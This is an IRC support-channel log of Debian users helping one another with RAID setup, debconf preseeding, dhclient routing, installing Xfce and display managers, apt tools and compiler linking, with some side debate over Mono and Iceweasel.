| 22:28.03 | mjt | zmitya: without additional tweaks md starts/creates arrays in readwrite mode. there's a knob in sysfs that triggers 'auto-read-only' mode, one has to trigger that knob explicitly |
| 22:29.37 | zmitya | mjt: does it mean that I triggered it somehow ? |
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| 22:30.05 | mjt | nyk2005: also `man 5 postconf' -- all parameters are documented in there. Read with care and attention -- Wietse is very good at giving very short and very precise definitions |
| 22:30.41 | nyk2005 | mjt: thanks again! |
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| 22:30.46 | mjt | zmitya: i already answered that one. I don't know who triggered it. *You* have to figure it out |
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| 22:31.17 | zmitya | mjt: I just ddid this: mdadm --create /dev/md1 --level=1 --raid-devices=2 /dev/sd[ab]3 |
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| 22:31.24 | zmo | hi |
| 22:31.27 | zmitya | than it was in pending state |
| 22:31.40 | nyk2005 | mjt: never saw such an immense manpage before... :) |
| 22:31.41 | zmitya | nothing special in the logs about it |
| 22:31.50 | mjt | zmitya: so that knob was turned on before, isn't it obvious? :) |
| 22:31.59 | nyk2005 | 7325 lines! |
| 22:32.01 | zmo | is there a way to avoid ncurses configuration after installing a pkg? |
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| 22:32.12 | mjt | zmitya: and THAT knob does not get into log |
| 22:32.20 | zmo | i mean using "apt-get" |
| 22:32.48 | mjt | zmo: you can pre-configure it if that's what you mean |
| 22:32.50 | rockyrock | any ideas about ThinkOS? What Google stole from Debian by doing the Chrome OS? |
| 22:33.16 | zmitya | mjt: hmm :) |
| 22:33.26 | zmo | mjt, i have to include installing a pkg in a script |
| 22:33.27 | mjt | zmo: but if a package needs some configuration/attention, how else you want it to ask? |
| 22:33.56 | mjt | zmo: for pre-configuration see dpkg --set-selections and the answers the package asks |
| 22:34.07 | mjt | s/answers/questions |
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| 22:34.22 | mjt | it's in /var/lib/debconf/ |
| 22:34.28 | zmo | mjt, i was in that way, so is not possible avoid conf with apt? |
| 22:34.54 | mjt | well.. DEBCONF_FRONTEND=noninteractive apt-get ... |
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| 22:35.44 | mjt | zmo: er, in /var/cache/debconf/, not /var/lib/debconf/ |
| 22:35.50 | ib-mobile | How do I configure /etc/network/interfaces to use dhcp, but not set the default route? |
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| 22:36.24 | zmo | mjt, so you say disable to disable that? |
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| 22:36.35 | zmo | for doing what i need? |
| 22:36.42 | mjt | zmo: i din't say 'disable' |
| 22:37.12 | mjt | i said `dpkg --set-selections' and $DEBCONF_FRONTEND |
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| 22:37.39 | zmo | mjt, thank you very much |
| 22:38.03 | mrtn123 | what was the name of this program, which allowed me to search programs from packages when packages are in repository? |
| 22:38.06 | mjt | yw |
| 22:38.35 | TrueDD | Good night all |
| 22:38.48 | mrtn123 | TrueDD: good night! |
| 22:38.50 | abrotman | ib-mobile: the man page for your dhcp client will have that |
| 22:39.11 | TrueDD | good night mrtn123 |
| 22:39.31 | themill | mrtn123: apt-cache or apt-file |
| 22:39.42 | ib-mobile | I've been reading through it, but haven't figured out what to change. I think I'm using dhclient |
| 22:40.18 | abrotman | ib-mobile: i know it's in there |
| 22:40.21 | mrtn123 | themill: thanks! |
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| 22:41.06 | mjt | ib-mobile: btw, default route wont be *replaced* by dhcp usually |
| 22:41.32 | mjt | ib-mobile: i mean, if you do have default route already, it's enough for dhcp to not change it... |
| 22:41.39 | abrotman | mjt: yes, it is |
| 22:41.42 | Tobsn | hey, im playing around with rackspace cloud servers... anyone an idea how i could backup a snapshot of a node? |
| 22:41.56 | abrotman | ib-mobile: see the 'request' stuff |
| 22:42.25 | mjt | abrotman: quite alot of dhcp servers will include default route options even if not asked |
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| 22:42.43 | ib-mobile | for some reason I'm ending up with two default routes. the second one is provided by dhcp and breaks my connections using the other interface |
| 22:42.47 | mjt | abrotman: it's the basic info - like client's IP address which isn't asked but always returned |
| 22:43.00 | abrotman | maybe mjt isn't making sense ? |
| 22:43.45 | ib-mobile | plays with the request stuff to see if it helps |
| 22:45.10 | mjt | abrotman: is it all what you'll tell me? |
| 22:45.44 | abrotman | am i the only one? |
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| 22:46.27 | Tobsn | nobody? |
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| 22:46.58 | mjt | abrotman: you told me something nonsensial(sp) and I'm waiting for continuation or explanation so it'll make more sense. |
| 22:47.10 | Hazelesque | Hazelesque posts a message to uknot about Sun Online Learning Centre appearing broken |
| 22:47.17 | abrotman | mjt: you're not making any sense .. i don't even know how to respond to half of what you said |
| 22:47.18 | mjt | abrotman: so I can understand what you wanted to tell me |
| 22:47.22 | Hazelesque | uh, s!Hazelesque!/me! |
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| 22:47.37 | abrotman | Hazelesque: do you have a Debian question? |
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| 22:48.00 | Hazelesque | abrotman: heh, sorry, I suppose that was wildly off-topic. |
| 22:48.23 | Hazelesque | abrotman: I did ask an on-topic question, and answer a couple of others earlier, though. |
| 22:48.39 | ib-mobile | lol |
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| 22:51.16 | Hazelesque | abrotman: here's an on-topic question, sort of... the closest thing to debian on the OpenSolaris kernel is Nexenta? or is there anything more "official"? I know there's Debian GNU/kFreeBSD, but I haven't seen anything for Solaris |
| 22:51.35 | Hazelesque | (and Debian GNU/HURD) |
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| 22:52.35 | abrotman | Hazelesque: there is a nexenta channel i believe |
| 22:53.07 | Hazelesque | abrotman: that may be a good idea, thanks! :) |
| 22:54.17 | mjt | rockyrock: http://lmgtfy.com/?q=ThinkOS |
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| 22:57.01 | project2501a | hokay, where can i vote to express my opposition in the inclusion of mono in main? |
| 22:58.02 | abrotman | project2501a: on what grounds? |
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| 22:59.36 | enouf | is this thing on? |
| 22:59.41 | enouf | ok .. |
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| 23:00.56 | project2501a | abrotman: it's not 100% Free (as in liberty) software. |
| 23:01.02 | abrotman | yes, it is |
| 23:01.05 | themill | project2501a: citation required. |
| 23:01.16 | project2501a | *snicker* |
| 23:01.21 | project2501a | i'm sorry am in in #wikipedia? |
| 23:01.29 | themill | project2501a: the first step is to become a Debian Developer since they are the ones who have demonstrated that they probably have a clue about how software licensing actually works. Then you can assemble some coherent arguments that are based in fact and then you can file a General Resolution requiring its removal. |
| 23:01.51 | project2501a | themill: alright. fair enough. |
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| 23:02.19 | project2501a | my bad, i thought it was an open vote ^_^ |
| 23:02.23 | abrotman | haha |
| 23:02.43 | themill | project2501a: you might like to have a look at the Debian Free Software Guidelines to work out how it's not free software. |
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| 23:02.54 | abrotman | project2501a: no idea why you think it's not Free .. maybe you should stop reading 'alarmist' blogs |
| 23:03.21 | project2501a | abrotman: nah, haven't anything but RMS' statement |
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| 23:03.44 | Jakob | Hey guys! I'm in the middle of a little experiment with myself. I wan't to install a slick, no-fat Debian. So i got some questions: |
| 23:03.58 | Jakob | First: Should i choose Testing / Unstable or Stable? |
| 23:04.02 | abrotman | project2501a: yeah .. that's what i meant |
| 23:04.06 | abrotman | Jakob: if you're asking, stable |
| 23:04.27 | bzed | Jakob: I'm still wondering how you install debian on yourself, though :P |
| 23:04.36 | Jakob | abrotman: Okay, but I've heard that it's rarely updated |
| 23:04.43 | themill | project2501a: he seems to think that debian is the work of the devil anyway and yet he doesn't understand that requiring a copy of the GNU manifesto to be attached to an emacs quick reference card isn't a good thing. He's not the messiah, he's a very naughty boy. Don't believe everything you read. |
| 23:04.58 | Jakob | bzed: ?? |
| 23:04.59 | abrotman | Jakob: it's an experiment .. do you want something that's always changing under you ? |
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| 23:05.44 | Jakob | abrotman: Hmm I don't want old software, I can take some crashes from time to time |
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| 23:05.59 | abrotman | Jakob: it's really not that old IMO |
| 23:06.06 | Jakob | a year? |
| 23:06.17 | abrotman | !lenny |
| 23:06.17 | dpkg | well, lenny is the binoculars, or the code name for the current stable Debian release, version 5.0, released on 2009-02-14: http://www.debian.org/News/2009/20090214 Ask me about <release notes>, <install debian>, <etch->lenny>, <installer firmware>. Currently <5.0.2>. http://wiki.debian.org/DebianLenny |
| 23:06.19 | project2501a | themill: i'm sure you can put the entire GNU manifesto in 1 page, using a 2 point font ;) |
| 23:06.25 | jpinx-eeepc | Jakob: indtall stable and progress with backports when you're ready |
| 23:06.55 | Jakob | jpinx-eeepc: Okay, I'll try that then... (What's backports?) |
| 23:07.06 | abrotman | /msg dpkg bpo |
| 23:07.09 | jpinx-eeepc | Jakob: backports.org |
| 23:07.11 | themill | dpkg: tell Jakob about upgrade path |
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| 23:07.26 | project2501a | themill: on a serious note, i undestand he's not the messiah, but he's the most reasonable voice with respect to politics/ideology in the software world. |
| 23:07.51 | themill | project2501a: he's entirely unreasonable and that's why he's got as far as he has. |
| 23:08.01 | themill | points towards #debian-offtopic |
| 23:08.11 | project2501a | fair enough |
| 23:09.04 | Jakob | Thanks guys, so long so good. But the next "problem" is that i want to use Xfce. I've seen that you've got a package for it. But i don't want all the extra stuff like the calender. How do I install only that core? |
| 23:09.59 | jpinx-eeepc | Jakob: it's not the only desktop in the world ;) |
| 23:10.00 | ib-mobile | I don't tink its just RMS that has doubts on mono. I think there are real concerns about it and people should be concerned about its inclusion in any distro. |
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| 23:10.08 | ib-mobile | I've yet to see a good case for including it |
| 23:10.10 | jpinx-eeepc | ^lightweight^ |
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| 23:10.25 | Jakob | jpinx-eeepc: No, but that's the one i know :) |
| 23:10.36 | Jakob | and i really dont want either KDE or GNOME |
| 23:10.53 | jpinx-eeepc | Jakob: then you will know how to configure it as you like it |
| 23:11.36 | Jakob | jpinx-eeepc: Please don't expect me to know anything, I've been a topscratcher user for quite a while, now I want to dive in |
| 23:11.55 | Jakob | So no, I don't know how to configure it, but I'll learn along the rode... :) |
| 23:12.00 | jpinx-eeepc | Jakob: good - enjoy it:) |
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| 23:12.45 | Jakob | jpinx-eeepc: Will try :) But the question is: How do i install it?? Is an "apt-get install xfce" enough? |
| 23:13.06 | Jakob | Or should I be aware of any repositoires? |
| 23:13.12 | themill | !install xfce |
| 23:13.12 | dpkg | To install <Xfce> on established systems, ask me about <install x>, then: aptitude install xfce4 xfce4-goodies . To install using Debian Installer (if not using Xfce CD-1): Lenny: press the Tab key at d-i's boot prompt, then include desktop=xfce in the boot options; Etch: Supply the tasks=xfce-desktop boot parameter. |
| 23:13.13 | adb | xfce4 |
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| 23:13.54 | Jakob | what's the difference between aptitude and apt-get? |
| 23:14.00 | Jakob | thanks adb |
| 23:14.19 | Jakob | and themill.. :) |
| 23:14.25 | gatuno_123 | Somebody knows how justify a page vertically in OpenOffice? |
| 23:14.35 | Jakob | !aptitude |
| 23:14.35 | dpkg | aptitude is, like, a terminal-based package manager that can be used in a command-line mode (aptitude install foo ; aptitude remove goo) as well as a text user interface mode (just run "aptitude"). Ask me about <why aptitude> <why not aptitude> <aptitude-fu> or see http://wiki.debian.org/Aptitude |
| 23:14.39 | rudi_s | !tell Jakob why aptitude |
| 23:14.56 | rudi_s | !tell Jakob about why aptitude |
| 23:15.07 | gatuno_123 | !why aptitude |
| 23:15.07 | dpkg | aptitude has more advanced conflict/dependency resolution than other tools, it has far more advanced searching available, and will automatically uninstall unneeded dependencies, read /usr/share/doc/aptitude/README for more info. Aptitude can also remove or purge one package at the same time as installing others all from the command line, making it much easier to recover from broken dependencies. |
| 23:15.47 | Jakob | !why apt-get |
| 23:15.47 | Jakob | awwww |
| 23:15.47 | gatuno_123 | !why not aptitude |
| 23:15.47 | Jakob | :) |
| 23:15.47 | Jakob | But okay then |
| 23:15.47 | abrotman | please msg the bot |
| 23:15.47 | dpkg | Aptitude uses more memory than apt-get and this is about the only reason not to use it as a replacement for the more primitive frontend to libapt that apt-get provides you with. Aptitude also suffers from some bugs that apt-get doesn't have but the converse is also true. Note that aptitude can't download source packages for you but that's no reason to not use aptitude for all your binary package handling. |
| 23:15.50 | Jakob | Yes, I'm just learning it |
| 23:16.38 | abrotman | gatuno_123: maybe ask #openoffice.org |
| 23:16.45 | gatuno_123 | ok, thankss |
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| 23:17.40 | Jakob | Hmmm So what I'll do now is: turn off, insert my stable DVD, install base system. Then connect to the internet and just "aptitude install xfce4" and I'm ready to rock? :) |
| 23:17.50 | abrotman | aptitude install xorg xfce4 |
| 23:17.56 | abrotman | and probably xdm or gdm also |
| 23:18.06 | Jakob | what's better xdm or gdm? |
| 23:18.32 | abrotman | they do different (but similar) things |
| 23:18.53 | Jakob | abrotman: But i thought that aptitude took care of dependecies? |
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| 23:19.30 | abrotman | just because you want xfce doesn't mean you want xorg (you could run it remotely) |
| 23:19.59 | Jakob | I thought that X.org was the program making it possible to control windows on the screen? |
| 23:20.34 | themill | dpkg: tell Jakob about xorg |
| 23:20.45 | abrotman | it is .. so you would say .. aptitude install xorg xfce4 xdm |
| 23:21.14 | Jakob | or maybe gdm? |
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| 23:21.41 | Jakob | wikipedia doesn't like xdm.. :P |
| 23:21.49 | abrotman | who cares about wikipedia ? |
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| 23:22.15 | themill | Jakob: dpkg can tell you about xdm though. |
| 23:22.46 | Jakob | abrotman: Easy way to gain _some_ knowledge, is it possible to skin XDM? |
| 23:22.57 | abrotman | duno .. you can with gdm i believe |
| 23:22.58 | ib-mobile | I'm still having problems getting dhclient configured to not use the default gateway address provided by the server. specifying a request entry without the router option doesn't solve it and pooring over man pages and google results hasn't gotten me anywhere. anyone know the answer? |
| 23:23.07 | Jakob | !about xdm |
| 23:23.11 | Jakob | !why xdm |
| 23:23.12 | abrotman | !tell Jakob about xdm |
| 23:23.14 | abrotman | !tell Jakob about selftell |
| 23:23.16 | themill | Jakob: /msg dpkg xdm |
| 23:23.17 | abrotman | !tell Jakob about gdm |
| 23:23.26 | adb | dpkg: tell Jakob -about sunday |
| 23:23.30 | Jakob | ... |
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| 23:23.40 | themill | adb :( |
| 23:24.17 | abrotman | adb: what was that for ? |
| 23:24.28 | tuantub | !xdm |
| 23:24.29 | dpkg | from memory, xdm is the X windows login screen you might see every time you boot up. If you don't like it and want to just boot into console mode, you can read /usr/doc/xfree86-common/FAQ for a full explanation, or just 'dpkg --purge xdm', or 'apt-get remove xdm' (yes it's safe to remove task-x-*) |
| 23:25.31 | Jakob | I think I've got it... Thanks for the help, think I'll choose GDM |
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| 23:29.59 | orak3l | how can i list all pingable hosts within a specific range (e.g. 150.150.150.* ) |
| 23:30.43 | abrotman | do a broadcast ping ? |
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| 23:31.09 | tuantub | orak3l: you d better use nmap instead :D |
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| 23:32.21 | orak3l | wow, huge manpage :/ can you provide the appropriate options? |
| 23:32.50 | tuantub | orak3l: nmap -sP 150.150.150.0-255 |
| 23:33.00 | orak3l | thx |
| 23:33.15 | tuantub | orak3l: to check if the hosts are online |
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| 23:34.15 | orak3l | works great thx |
| 23:34.23 | tuantub | orak3l: ;) |
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| 23:37.02 | ib-mobile | oh! it worked! removing the router entry from dhclient.conf seems to have done the trick now |
| 23:37.30 | ib-mobile | not sure why it didn't the first time. maybe it defaulted to the old_router address or something |
| 23:37.39 | ib-mobile | but running it again now and it seems to work :) |
| 23:37.53 | mrtn123 | I was asked to give/generate a passphrase protected SSH2 public key. I used ssh-keygen utility, inserted passphrase, but where is this SSH2 public key? Is it the one in the /root/.ssh/id_rsa.pub file? This ~350 characters long? |
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| 23:40.17 | Tramp | mrtn123: and please stop crossposting questions |
| 23:40.45 | Dr`Keovorkian | Who's up for an odd problem? |
| 23:41.40 | mrtn123 | Tramp: ok |
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| 23:44.49 | man_in_shack | waves |
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| 23:45.18 | man_in_shack | i'm trying to get the hang of the new ia32-apt-get system on amd64 |
| 23:45.24 | jmoncayo | anyone here, has made C programs with threads? when i try to compile i get this error: thread.c:(.text+0x82): undefined reference to `pthread_create' |
| 23:46.01 | man_in_shack | grr, out of memory |
| 23:46.09 | man_in_shack | "E: Dynamic MMap ran out of room." |
| 23:46.11 | valdyn | jmoncayo: -lpthread ? |
| 23:46.35 | amphi | jmoncayo: you didn't forget to -lpthread ? ;) |
| 23:46.54 | jmoncayo | oops |
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| 23:46.55 | jmoncayo | =) |
| 23:47.57 | jmoncayo | gcc: thread: No such file or directory |
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| 23:48.46 | jmoncayo | nvm |
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| 23:49.07 | u19809 | anybody here that can help with compilation issues ? |
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| 23:50.08 | abrotman | not if you don't stick around ... |
| 23:50.13 | abrotman | man_in_shack: /msg dpkg mmap |
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| 23:55.40 | man_in_shack | what unit is APT::Cache-limit in? |
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| 23:56.58 | dureyes | is there a petition going on for Debian to go back to the original Firefox instead of Iceweasel? |
| 23:57.06 | abrotman | why? |
| 23:57.20 | abrotman | man_in_shack: i think it's bytes .. the man page might tell you |
| 23:57.33 | man_in_shack | abrotman, manpage does not |
| 23:57.50 | amphi | dureyes: I would very much doubt it |
| 23:57.57 | abrotman | man_in_shack: yes, it does |
| 23:58.17 | man_in_shack | bleh, missed that |
| 23:58.22 | man_in_shack | sorry |
| 23:58.47 | dureyes | pity.... |
| 23:58.58 | man_in_shack | dureyes, why do you think there should be a petition for it? |